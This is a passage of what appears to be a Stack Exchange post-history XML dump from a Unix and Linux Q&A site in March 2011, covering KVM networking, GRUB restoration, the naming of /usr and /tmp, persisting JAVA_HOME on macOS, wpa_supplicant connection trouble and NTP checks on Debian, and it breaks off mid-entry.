  <row Id="20486" PostHistoryTypeId="2" PostId="8674" RevisionGUID="19bf7abd-4c00-46ba-9fe9-215687378602" CreationDate="2011-03-06T02:21:11.690" UserId="4520" Text="KVM sets up its own bridge.  This is the bridge `virbr0`.  You should be able to configure how this is networked.  &#xD;&#xA;&#xD;&#xA;On the VM the interface should show up at `eth0` not a bridge.  This will be the other side of the `vnet0` device. &#xD;&#xA;&#xD;&#xA;I work on Ubuntu where KVM will startup a DNSMasq server for the bridged network to hand out DHCP addresses.  KVM will also play with `iptables` to configure access to the network for your VM. &#xD;&#xA;&#xD;&#xA;Try removing the bridge you created and restarting the VM.  I would expect it to get an address in the 192.168.122.0 range from what I see of your configuration. &#xD;&#xA;&#xD;&#xA;I didn't like how KVM was interacting with my firewall, so did my own [manual networking for KVM][1].  My configuration uses a virtual bridge which isn't connected to an Ethernet interface.  The https://help.ubuntu.com/community/KVM/Networking page from the Ubuntu community may help you understand how KVM is doing networking now.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.systemajik.com/blog/manual-networking-for-kvm/" />
  <row Id="20487" PostHistoryTypeId="25" PostId="8668" RevisionGUID="f523af6f-cec7-4b1a-8893-0002ccb252ab" CreationDate="2011-03-06T02:23:38.680" Comment="http://twitter.com/#!/StackUnix/status/44221569102389248" />
  <row Id="20488" PostHistoryTypeId="2" PostId="8675" RevisionGUID="f12bb559-1f4d-4645-9d83-88328dcf15e4" CreationDate="2011-03-06T03:18:49.270" UserId="3482" Text="By this - &#xD;&#xA;&#xD;&#xA;&gt; How can I find out what happened to it?&#xD;&#xA;&#xD;&#xA;I presume you want to know what happened during your failed attempt at SSH!&#xD;&#xA;&#xD;&#xA;One place to look into will be `/var/log`. Something like `grep -ir ssh /var/log/*` should give you the SSH related log entries." />
  <row Id="20489" PostHistoryTypeId="5" PostId="8665" RevisionGUID="33d21dfb-828b-4e2c-b67c-669048fac225" CreationDate="2011-03-06T03:19:32.513" UserId="4319" Comment="Added notes about the platforms." Text="There's a package manager project--[**Nix**](http://nixos.org/nix/)--with an interesting foundational idea (a &quot;*functional*&quot; pkg manager), which also supports a per-user operation:&#xD;&#xA;&#xD;&#xA;&gt; Multi-user support&#xD;&#xA;&gt; &#xD;&#xA;&gt; Starting at version 0.11, Nix has&#xD;&#xA;&gt; multi-user support. This means that&#xD;&#xA;&gt; non-privileged users can securely&#xD;&#xA;&gt; install software. Each user can have a&#xD;&#xA;&gt; different profile, a set of packages&#xD;&#xA;&gt; in the Nix store that appear in the&#xD;&#xA;&gt; user’s PATH. If a user installs a&#xD;&#xA;&gt; package that another user has already&#xD;&#xA;&gt; installed previously, the package&#xD;&#xA;&gt; won’t be built or downloaded a second&#xD;&#xA;&gt; time. At the same time, it is not&#xD;&#xA;&gt; possible for one user to inject a&#xD;&#xA;&gt; Trojan horse into a package that might&#xD;&#xA;&gt; be used by another user.&#xD;&#xA;&#xD;&#xA;**A NOTE I WANT TO ADD:** `Nix` ought to be usable in a Unix-like system of your choice (e.g., a Linux distro).&#xD;&#xA;&#xD;&#xA;[There are also](http://nixos.org/) an associated large collection of packages that can be installed with the Nix package manager--[**Nixpkgs**--built for a number of platforms](http://nixos.org/nixpkgs/):&#xD;&#xA;&#xD;&#xA;&gt; * GNU/Linux on 32-bit and 64-bit x86 (i686-linux and x86_64-linux)&#xD;&#xA;&gt; * Mac OS X (i686-darwin and x86_64-darwin)&#xD;&#xA;&gt; * FreeBSD (i686-freebsd and x86_64-freebsd)&#xD;&#xA;&gt; * OpenBSD (i686-openbsd)&#xD;&#xA;&gt; * Windows / Cygwin (i686-cygwin),&#xD;&#xA;&#xD;&#xA;and an associated distro--**NixOS**:&#xD;&#xA;&#xD;&#xA;&gt; NixOS is a Linux distribution based on&#xD;&#xA;&gt; Nix. It uses Nix not just for package&#xD;&#xA;&gt; management but also to manage the&#xD;&#xA;&gt; system configuration (e.g., to build&#xD;&#xA;&gt; configuration files in /etc). This&#xD;&#xA;&gt; means, among other things, that it’s&#xD;&#xA;&gt; possible to easily roll back the&#xD;&#xA;&gt; entire configuration of the system to&#xD;&#xA;&gt; an earlier state. Also, users can&#xD;&#xA;&gt; install software without root&#xD;&#xA;&gt; privileges. [Read more…](http://nixos.org/nixos)&#xD;&#xA;&#xD;&#xA;and an associated &quot;continuous&quot; build system--**Hydra**.&#xD;&#xA;" />
  <row Id="20490" PostHistoryTypeId="2" PostId="8676" RevisionGUID="cd7d9f78-aafd-4177-ba18-37074b637c69" CreationDate="2011-03-06T03:20:34.840" UserId="3512" Text="This is my first instinct as a long-time [Gentoo user](http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&amp;chap=10#doc_chap2):&#xD;&#xA;&#xD;&#xA;Mount the partition(s) with grub on it:&#xD;&#xA;&#xD;&#xA;    mount /dev/sda5 /mnt/fedora&#xD;&#xA;    mount /dev/sda923 /mnt/fedora/boot # if Fedora had a separate /boot&#xD;&#xA;&#xD;&#xA;Mount the proc filesystem so that Fedora will see it too:&#xD;&#xA;&#xD;&#xA;    mount -t proc none /mnt/fedora/proc&#xD;&#xA;&#xD;&#xA;Chroot into Fedora:&#xD;&#xA;&#xD;&#xA;    chroot /mnt/fedora&#xD;&#xA;&#xD;&#xA;Here should come some magic to sanitize the chroot environment, I have no idea how that  should look like in Fedora. This is Gentoo:&#xD;&#xA;&#xD;&#xA;    source /etc/profile &amp;&amp; env-update&#xD;&#xA;&#xD;&#xA;Now, fire up grub:&#xD;&#xA;&#xD;&#xA;    grub&#xD;&#xA;&#xD;&#xA;Grub commands copied from the Gentoo page:&#xD;&#xA;&#xD;&#xA;    Code Listing 2.8: Installing GRUB in the MBR&#xD;&#xA;&#xD;&#xA;    grub&gt; root (hd0,0)    (Specify where your /boot partition resides)&#xD;&#xA;    grub&gt; setup (hd0)     (Install GRUB in the MBR)&#xD;&#xA;    grub&gt; quit            (Exit the GRUB shell)&#xD;&#xA;&#xD;&#xA;Here, `(hd0)` is the first hard drive, and `(hd0,0)` is the first partition on it. `/dev/sda5` usually comes out as `(hd0,4)`, but make sure to double-check everything as you go along. Grub has auto-complete, so it should be easy.&#xD;&#xA;" />
  <row Id="20491" PostHistoryTypeId="5" PostId="8674" RevisionGUID="d46d0c5e-4960-45a0-ba6e-506685f5d3f9" CreationDate="2011-03-06T03:24:02.853" UserId="4520" Comment="Add some testing options.; edited body" Text="KVM sets up its own bridge.  This is the bridge `virbr0`.  You should be able to configure how this is networked.  &#xD;&#xA;&#xD;&#xA;On the VM the interface should show up at `eth0` not a bridge.  This will be the other side of the `vnet0` device. &#xD;&#xA;&#xD;&#xA;I work on Ubuntu where KVM will startup a DNSMasq server for the bridged network to hand out DHCP addresses.  KVM will also play with `iptables` to configure access to the network for your VM. &#xD;&#xA;&#xD;&#xA;Try removing the bridge you created and restarting the VM.  I would expect it to get an address in the 192.168.122.0 range from what I see of your configuration. &#xD;&#xA;&#xD;&#xA;I didn't like how KVM was interacting with my firewall, so did my own [manual networking for KVM][1].  My configuration uses a virtual bridge which isn't connected to an Ethernet interface.  The [KVM Networking page][2] from the Ubuntu community may help you understand how KVM is doing networking now.&#xD;&#xA;&#xD;&#xA;EDIT: I took a second look at the bridged networking.  I am not sure why you have an 192.168.1.x address on `eth1`.  You configuration looks pretty much as I would expect.  Try setting a static address on the VM to see if it can communicate. &#xD;&#xA;&#xD;&#xA;To test to see what is happening with DHCP, I would try running `tcpdump` on `br0` or `eth0` watching for DHCP traffic, or any traffic from mac address `54:52:00:1a:c8:4f`.  Then try to get a DHCP address.  You may need to enable SPT on the bridge.&#xD;&#xA;&#xD;&#xA;The reason I did my own networking was to enable access to my VMs from the outside.  I run two bridges, one of which hosts my DMZ.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.systemajik.com/blog/manual-networking-for-kvm/&#xD;&#xA;  [2]: https://help.ubuntu.com/community/KVM/Networking#bridgednetworking" />
  <row Id="20492" PostHistoryTypeId="5" PostId="8676" RevisionGUID="e1231be3-37a4-4613-9ecb-73fbb0f6e686" CreationDate="2011-03-06T03:33:48.900" UserId="3512" Comment="added 291 characters in body" Text="This is my first instinct as a long-time [Gentoo user](http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&amp;chap=10#doc_chap2):&#xD;&#xA;&#xD;&#xA;Mount the partition(s) with grub on it:&#xD;&#xA;&#xD;&#xA;    mount /dev/sda5 /mnt/fedora&#xD;&#xA;&#xD;&#xA;    # if Fedora had a separate /boot:&#xD;&#xA;    mount /dev/sda923 /mnt/fedora/boot &#xD;&#xA;&#xD;&#xA;and copy the relevant section in `$FEDORA/boot/grub/grub.conf` into your Backtrack `grub.conf`. Not Fedora, but quick and easy.&#xD;&#xA;&#xD;&#xA;**Alternatively**:&#xD;&#xA;&#xD;&#xA;Mount the proc filesystem so that Fedora will see it too:&#xD;&#xA;&#xD;&#xA;    mount -t proc none /mnt/fedora/proc&#xD;&#xA;&#xD;&#xA;Chroot into Fedora:&#xD;&#xA;&#xD;&#xA;    chroot /mnt/fedora&#xD;&#xA;&#xD;&#xA;Here should come some magic to sanitize the chroot environment, I have no idea how that  should look like in Fedora. This is Gentoo:&#xD;&#xA;&#xD;&#xA;    source /etc/profile &amp;&amp; env-update&#xD;&#xA;&#xD;&#xA;Now, fire up grub:&#xD;&#xA;&#xD;&#xA;    grub&#xD;&#xA;&#xD;&#xA;Grub commands copied from the Gentoo page:&#xD;&#xA;&#xD;&#xA;    Code Listing 2.8: Installing GRUB in the MBR&#xD;&#xA;&#xD;&#xA;    grub&gt; root (hd0,0)    (Specify where your /boot partition resides)&#xD;&#xA;    grub&gt; setup (hd0)     (Install GRUB in the MBR)&#xD;&#xA;    grub&gt; quit            (Exit the GRUB shell)&#xD;&#xA;&#xD;&#xA;Here, `(hd0)` is the first hard drive, and `(hd0,0)` is the first partition on it. `/dev/sda5` usually comes out as `(hd0,4)`, but make sure to double-check everything as you go along. Grub has auto-complete, so it should be easy.&#xD;&#xA;&#xD;&#xA;A word of advice, whichever route you take: when you remove either distro, make sure you remember where your system boots from!" />
  <row Id="20493" PostHistoryTypeId="25" PostId="8647" RevisionGUID="caf8f453-c452-4644-91f3-d947a01c856e" CreationDate="2011-03-06T05:23:38.657" Comment="http://twitter.com/#!/StackUnix/status/44266868013400064" />
  <row Id="20494" PostHistoryTypeId="5" PostId="7849" RevisionGUID="aedfd856-e3e6-4fcc-a73d-88c69a06bdf9" CreationDate="2011-03-06T05:49:18.803" UserId="2343" Comment="added 357 characters in body; added 1 characters in body" Text="The following methods make it unnecessary to call `date` twice.  &#xD;&#xA;A system call's overhead can make a &quot;simple&quot; command 100 times slower than bash doing the same thing in its own local environment.  &#xD;&#xA;&#xD;&#xA;**UPDATE** Just a quick mention about my above comment: &quot;100 times slower&quot;. It can now read &quot;**500** times slower&quot;... I recently fell (no, walked blindly) into this very issue. here is the link: [Fast way to build a test file](http://unix.stackexchange.com/questions/8273/fast-way-to-build-a-test-file-with-every-second-listed-in-yyyy-mm-dd-hhmmss-for)&#xD;&#xA;&#xD;&#xA;    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;    M=$(((M/15)*15))&#xD;&#xA;    ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;    echo $Y.$m.$d $H:$M  &#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    if   [[ &quot;$M&quot; &lt; &quot;15&quot; ]] ; then M=00&#xD;&#xA;    elif [[ &quot;$M&quot; &lt; &quot;30&quot; ]] ; then M=15&#xD;&#xA;    elif [[ &quot;$M&quot; &lt; &quot;45&quot; ]] ; then M=30&#xD;&#xA;    else M=45&#xD;&#xA;    fi&#xD;&#xA;    echo $Y.$m.$d $H:$M&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;Both versions will return only  &#xD;&#xA;&#xD;&#xA;    2011.02.23 01:00&#xD;&#xA;    2011.02.23 01:15&#xD;&#xA;    2011.02.23 01:30&#xD;&#xA;    2011.02.23 01:45   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is the first one with a TEST loop for all 60 values {00..59}  &#xD;&#xA;&#xD;&#xA;    for X in {00..59} ;                         ###### TEST&#xD;&#xA;    do                                          ###### TEST &#xD;&#xA;      eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;      M=$X                                      ###### TEST &#xD;&#xA;      [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;      M=$(((M/15)*15))&#xD;&#xA;      ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;      echo $Y.$m.$d $H:$M &#xD;&#xA;    done                                        ###### TEST &#xD;&#xA;" />
  <row Id="20495" PostHistoryTypeId="2" PostId="8677" RevisionGUID="b21da277-c226-49a6-a152-cdb124c58509" CreationDate="2011-03-06T06:03:10.023" UserId="912" Text="I have often started to think about this but never found a good answer. **Why are these two unix directories not `/user` and `/temp` instead?**&#xD;&#xA;&#xD;&#xA;All the other directories under root seem to be exactly what one would guess them to be, but these two seem odd, I would have always guessed them as user and temp.&#xD;&#xA;&#xD;&#xA;Is there some historical reason for the spellings?" />
  <row Id="20496" PostHistoryTypeId="1" PostId="8677" RevisionGUID="b21da277-c226-49a6-a152-cdb124c58509" CreationDate="2011-03-06T06:03:10.023" UserId="912" Text="Why does /usr and /tmp directories for Linux miss vowels in their spellings?" />
  <row Id="20497" PostHistoryTypeId="3" PostId="8677" RevisionGUID="b21da277-c226-49a6-a152-cdb124c58509" CreationDate="2011-03-06T06:03:10.023" UserId="912" Text="élinuxàéfilesystemsàérootàéfileöstructureà" />
  <row Id="20498" PostHistoryTypeId="2" PostId="8678" RevisionGUID="a4fbe00e-8680-42a2-b817-a705f5d3e665" CreationDate="2011-03-06T07:04:42.577" UserId="5397" Text="Yup there were reasons. They are pronounced user and temp. passwd is similar, as is resolv.conf. Unix is an expert friendly, user antagonistic operating system.&#xD;&#xA;&#xD;&#xA;I was a student when 300 Baud modems were the norm. I was the envy of my fellow students, since I had a Silent 700 terminal from Control Data where I was working. You could see the delay from typing each character and waiting for it to be echoed. Every character counted; I also see it as fostering the start of leet speak.&#xD;&#xA;&#xD;&#xA;The hjkl from vi have a history which few know. vi was developed by Bill Joy when he was a grad student at UCB during these same years. The ADM 3a terminals in Cory Hall had arrow keys above those letters " />
  <row Id="20499" PostHistoryTypeId="6" PostId="859" RevisionGUID="d1aa9807-14a8-482b-adb9-f21c0380b7d1" CreationDate="2011-03-06T07:36:35.230" UserId="250" Comment="edited tags" Text="ébootàéfreebsdàédualöbootàégrub2à" />
  <row Id="20500" PostHistoryTypeId="2" PostId="8679" RevisionGUID="c55e54e7-c5f7-4c17-a473-f096db3126f2" CreationDate="2011-03-06T07:51:54.890" UserId="250" Text="Backtrack probably overwrite the MBR with its records, thus causing the Backtrack GRUB to show up instead of the Fedora one. Now to bring back the Fedora GRUB you need to tell `grub` to create appropriate records in the MBR.&#xD;&#xA;&#xD;&#xA;See the question [restore suse grub][1] for how to restore GRUB. You didn't mention if you are using Grub Legacy or Grub 2, but if both your Fedora and Backtrack installations use Grub 2 you can (from my answer on the linked question):&#xD;&#xA;&#xD;&#xA; 1. Boot into Backtrack&#xD;&#xA; 2. Mount Fedora somewhere, say `/mnt/fedora`&#xD;&#xA; 3. `grub-setup -d /mnt/fedora /dev/sda`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/6834/250" />
  <row Id="20501" PostHistoryTypeId="2" PostId="8680" RevisionGUID="a0c1ca70-50db-471f-923a-ebf1d067b47c" CreationDate="2011-03-06T08:10:03.017" UserId="4520" Text="They are holdover from Unix.  Memory and disk space was in short supply. Hacking out a few vowels and other abbreviations gave real savings.  A few disk blocks or a few bytes could mean the difference in being able to run a program or not.  (I once had to trim a program by 24 bytes before it would run.)&#xD;&#xA;&#xD;&#xA;Also as Tom noted terminal speeds were slow.  1200 baud was introduced as high speed and it was.  I worked with one system that used a half speed teletype (55 baud or 5 cps) as the console.&#xD;&#xA;&#xD;&#xA;On systems running graphical interfaces it generally doesn't matter that much as the average users won't be poking around in them.  The directories are usually well documented in the `hier` man page. &#xD;&#xA;&#xD;&#xA;Changing over to longer names would cause a lot of problems for existing programs.  It would also limit script portability.  Linking multiple names to the same directories would likely be more confusing than helpful." />
  <row Id="20502" PostHistoryTypeId="25" PostId="8677" RevisionGUID="17426a02-c607-45d0-a06e-0335e30b992f" CreationDate="2011-03-06T08:23:38.587" Comment="http://twitter.com/#!/StackUnix/status/44312166660177921" />
  <row Id="20503" PostHistoryTypeId="6" PostId="8577" RevisionGUID="5190f067-f03e-4efb-b3a7-615df35d134e" CreationDate="2011-03-06T09:36:15.017" UserId="5307" Comment="edited tags" Text="éubuntuàéterminalàéscriptingàéosxàéwgetà" />
  <row Id="20504" PostHistoryTypeId="2" PostId="8681" RevisionGUID="5dd6db21-28bd-463d-b1b9-fdbf6e11bd16" CreationDate="2011-03-06T09:51:34.613" UserId="5307" Text="On my mac os 10.6.6 I'm trying to persist env variable $JAVA_HOME but it doesn't stick!&#xD;&#xA;&#xD;&#xA;    $ export JAVA_HOME=/System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home&#xD;&#xA;&#xD;&#xA;Once I restart it won't be set anymore. The GUI way to do that is to use the Property List Editor as documented by [Apple][1] and on [SO][2].&#xD;&#xA;However, after a restart:&#xD;&#xA;&#xD;&#xA;    $ echo $JAVA_HOME&#xD;&#xA;        &#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/library/mac/#qa/qa2001/qa1067.html&#xD;&#xA;  [2]: http://stackoverflow.com/questions/135688/setting-environment-variables-in-os-x&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20505" PostHistoryTypeId="1" PostId="8681" RevisionGUID="5dd6db21-28bd-463d-b1b9-fdbf6e11bd16" CreationDate="2011-03-06T09:51:34.613" UserId="5307" Text="Why $JAVA_HOME does not persist on a mac?" />
  <row Id="20506" PostHistoryTypeId="3" PostId="8681" RevisionGUID="5dd6db21-28bd-463d-b1b9-fdbf6e11bd16" CreationDate="2011-03-06T09:51:34.613" UserId="5307" Text="écommandölineàéosxàéenvironmentövariablesàéjavaà" />
  <row Id="20507" PostHistoryTypeId="2" PostId="8682" RevisionGUID="72111f20-213c-4e4d-b879-f4bb0240708b" CreationDate="2011-03-06T10:30:04.543" UserId="1919" Text="Running the 'export' command in a shell only persists it for the duration of the session.&#xD;&#xA;&#xD;&#xA;Save the export command in `~/.bashrc` (if your shell is bash). This way it's executed every time you start a new shell session." />
  <row Id="20508" PostHistoryTypeId="5" PostId="8677" RevisionGUID="c33023c1-9fdb-470a-9cba-773c09b3431c" CreationDate="2011-03-06T10:44:43.633" UserId="549" Comment="typo in title, formatting" Text="I have often started to think about this but never found a good answer. **Why are these two Unix directories not `/user` and `/temp` instead?**&#xD;&#xA;&#xD;&#xA;All the other directories under `root` seem to be exactly what one would guess them to be, but these two seem odd, I would have always guessed them as `user` and `temp`.&#xD;&#xA;&#xD;&#xA;Is there some historical reason for the spellings?" />
  <row Id="20509" PostHistoryTypeId="4" PostId="8677" RevisionGUID="c33023c1-9fdb-470a-9cba-773c09b3431c" CreationDate="2011-03-06T10:44:43.633" UserId="549" Comment="typo in title, formatting" Text="Why do /usr and /tmp directories for Linux miss vowels in their spellings?" />
  <row Id="20510" PostHistoryTypeId="24" PostId="8677" RevisionGUID="c33023c1-9fdb-470a-9cba-773c09b3431c" CreationDate="2011-03-06T10:44:43.633" Comment="Proposed by 549 approved by 912 edit id of 181" />
  <row Id="20511" PostHistoryTypeId="25" PostId="8681" RevisionGUID="327b163d-becf-4096-aa03-b731296431d6" CreationDate="2011-03-06T11:23:39.363" Comment="http://twitter.com/#!/StackUnix/status/44357467735470080" />
  <row Id="20512" PostHistoryTypeId="2" PostId="8683" RevisionGUID="89976bcf-8fdf-46a1-80f4-4c9c9326965f" CreationDate="2011-03-06T12:21:27.363" UserId="2180" Text="I'm surprised that nobody has commented on `/user` yet. This one is obvious: because it's not &quot;user&quot;, it's &quot;Universal System Resources&quot;.&#xD;&#xA;&#xD;&#xA;As for `/tmp`, it's simply shorter and easier to type. C programmers have a habit of using short names when possible because they end up typing them many times in a program. It is very common have a temporary variable named &quot;tmp&quot; rather than &quot;temp&quot; for the same reason, you use &quot;i&quot; i for the index in a for loop instead of &quot;index&quot; or &quot;counter&quot;." />
  <row Id="20513" PostHistoryTypeId="5" PostId="1918" RevisionGUID="fbde7242-f701-4b24-adc5-ff6d47021219" CreationDate="2011-03-06T12:32:11.470" UserId="2180" Comment="spelling stabble=&gt;stable" Text="When I connect my laptop to a **wpa2** secured router, using **[wicd][1]** I don't have any connection problems. &#xD;&#xA;&#xD;&#xA;**BUT** when I connect with the following command-line command ( as outlined [here][1] )&#xD;&#xA;&#xD;&#xA;**UPDATED:**&#xD;&#xA;&#xD;&#xA;    ifconfig wlan0 up&#xD;&#xA;    wpa_supplicant -B -Dwext -i wlan0 -c /etc/wpa_supplicant.conf&#xD;&#xA;    dhcpd wlan0&#xD;&#xA;&#xD;&#xA;My connection is unstable, sometimes working sometimes not, indicated by the following output:&#xD;&#xA;&#xD;&#xA;    $ ping google.com&#xD;&#xA;    PING google.com (64.233.179.104) 56(84) bytes of data.&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=1 ttl=56 time=190 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=2 ttl=56 time=196 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=3 ttl=56 time=184 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=4 ttl=56 time=172 ms&#xD;&#xA;    64 bytes from 64.233.179.104: icmp_seq=5 ttl=56 time=196 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=7 ttl=56 time=210 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=8 ttl=56 time=181 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=9 ttl=56 time=168 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=10 ttl=56 time=168 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=11 ttl=56 time=171 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=18 ttl=56 time=171 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=19 ttl=56 time=164 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=20 ttl=56 time=181 ms&#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=21 ttl=56 time=187 ms &#xD;&#xA;    64 bytes from cpt01s01-in-f104.1e100.net (64.233.179.104): icmp_seq=22 ttl=56 time=192 ms&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ping: sendmsg: Network is unreachable&#xD;&#xA;    ^C&#xD;&#xA;    --- google.com ping statistics ---&#xD;&#xA;    25 packets transmitted, 15 received, 40% packet loss, time 28231ms&#xD;&#xA;    rtt min/avg/max/mdev = 164.443/182.621/210.508/12.774 ms&#xD;&#xA;&#xD;&#xA;My `/etc/wpa_supplicant.conf` file:&#xD;&#xA;&#xD;&#xA;    network={&#xD;&#xA;    	ssid=&quot;1010011010&quot;&#xD;&#xA;    	#psk=&quot;------------&quot;&#xD;&#xA;    	psk=------------------------------------------&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`dhcpcd wlan0`&#xD;&#xA;&#xD;&#xA;    $ sudo dhcpcd wlan0 &#xD;&#xA;    dhcpcd[18320]: version 5.2.5 starting&#xD;&#xA;    dhcpcd[18320]: wlan0: rebinding lease of 192.168.123.102&#xD;&#xA;    dhcpcd[18320]: wlan0: acknowledged 192.168.123.102 from 192.168.123.254&#xD;&#xA;    dhcpcd[18320]: wlan0: checking for 192.168.123.102&#xD;&#xA;    dhcpcd[18320]: wlan0: carrier lost&#xD;&#xA;    dhcpcd[18320]: wlan0: carrier acquired&#xD;&#xA;    dhcpcd[18320]: wlan0: rebinding lease of 192.168.123.102&#xD;&#xA;    dhcpcd[18320]: wlan0: acknowledged 192.168.123.102 from 192.168.123.254&#xD;&#xA;    dhcpcd[18320]: wlan0: checking for 192.168.123.102&#xD;&#xA;    dhcpcd[18320]: wlan0: leased 192.168.123.102 for 86400 seconds&#xD;&#xA;    dhcpcd: wlan0: MTU set to 1500&#xD;&#xA;    dhcpcd[18320]: forked to background, child pid 18377&#xD;&#xA;&#xD;&#xA;`ifconfig`&#xD;&#xA;&#xD;&#xA;    $ ifconfig&#xD;&#xA;    lo        Link encap:Local Loopback  &#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              inet6 addr: ::1/128 Scope:Host&#xD;&#xA;              UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;              RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0 &#xD;&#xA;              RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)&#xD;&#xA;    &#xD;&#xA;    wlan0     Link encap:Ethernet  HWaddr 00:15:AF:78:D4:AA  &#xD;&#xA;              inet6 addr: fe80::215:afff:fe78:d4aa/64 Scope:Link&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:3218 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:2909 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000 &#xD;&#xA;              RX bytes:1959355 (1.8 Mb)  TX bytes:415438 (405.7 Kb)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`route`&#xD;&#xA;&#xD;&#xA;    $ route&#xD;&#xA;&#xD;&#xA;    Kernel IP routing table&#xD;&#xA;    Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xD;&#xA;    192.168.123.0   *               255.255.255.0   U     303    0        0 wlan0&#xD;&#xA;    default         192.168.123.254 0.0.0.0         UG    303    0        0 wlan0&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://wicd.sourceforge.net/&#xD;&#xA;[2]: http://wiki.archlinux.org/index.php/WPA_Supplicant&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20514" PostHistoryTypeId="2" PostId="8684" RevisionGUID="d254b453-6647-4c53-80e0-53983bd4cefb" CreationDate="2011-03-06T13:00:14.637" UserId="5384" Text="How can I tell if my Debian system is keeping the system time accurate by getting NTP updates?  Basically I want to turn this on if it is currently off, but I don't know if it is on or off." />
  <row Id="20515" PostHistoryTypeId="1" PostId="8684" RevisionGUID="d254b453-6647-4c53-80e0-53983bd4cefb" CreationDate="2011-03-06T13:00:14.637" UserId="5384" Text="How can I tell if my system is keeping the system time up to date?" />
  <row Id="20516" PostHistoryTypeId="3" PostId="8684" RevisionGUID="d254b453-6647-4c53-80e0-53983bd4cefb" CreationDate="2011-03-06T13:00:14.637" UserId="5384" Text="édebianà" />
  <row Id="20517" PostHistoryTypeId="2" PostId="8685" RevisionGUID="3d7ca3a5-9c6d-497e-9f9d-2ea606802dd9" CreationDate="2011-03-06T13:37:14.547" UserId="591" Text="Running &#xD;&#xA;&#xD;&#xA;`ps ax | grep ntpd` &#xD;&#xA;&#xD;&#xA;and checking that the output contains something like &#xD;&#xA;&#xD;&#xA;    6497   ?     Ss    0:04    /usr/sbin/ntpd ...&#xD;&#xA;&#xD;&#xA;will confirm that ntpd is running. If it's not running then you can start it with &#xD;&#xA;&#xD;&#xA;`/etc/init.d/ntp start`&#xD;&#xA;&#xD;&#xA;If you get an error message `No such file or directory` then you will have to install the ntp package&#xD;&#xA;&#xD;&#xA;`sudo apt-get install ntp`&#xD;&#xA;&#xD;&#xA;Once you have ntpd running you can talk to it with the [ntpq][1] command.&#xD;&#xA;&#xD;&#xA;    ntpq -p &#xD;&#xA;         remote           refid      st t when poll reach   delay   offset  jitter&#xD;&#xA;    ==============================================================================&#xD;&#xA;    *time.nist.gov   .ACTS.           1 u  753 1024  377  139.432   -0.562   2.199&#xD;&#xA;    +sip.dicode.nl   193.190.230.66   2 u  733 1024  163   33.197    0.297   0.132&#xD;&#xA;    +194.109.64.200  192.87.106.2     2 u  779 1024  377   35.214   -0.323   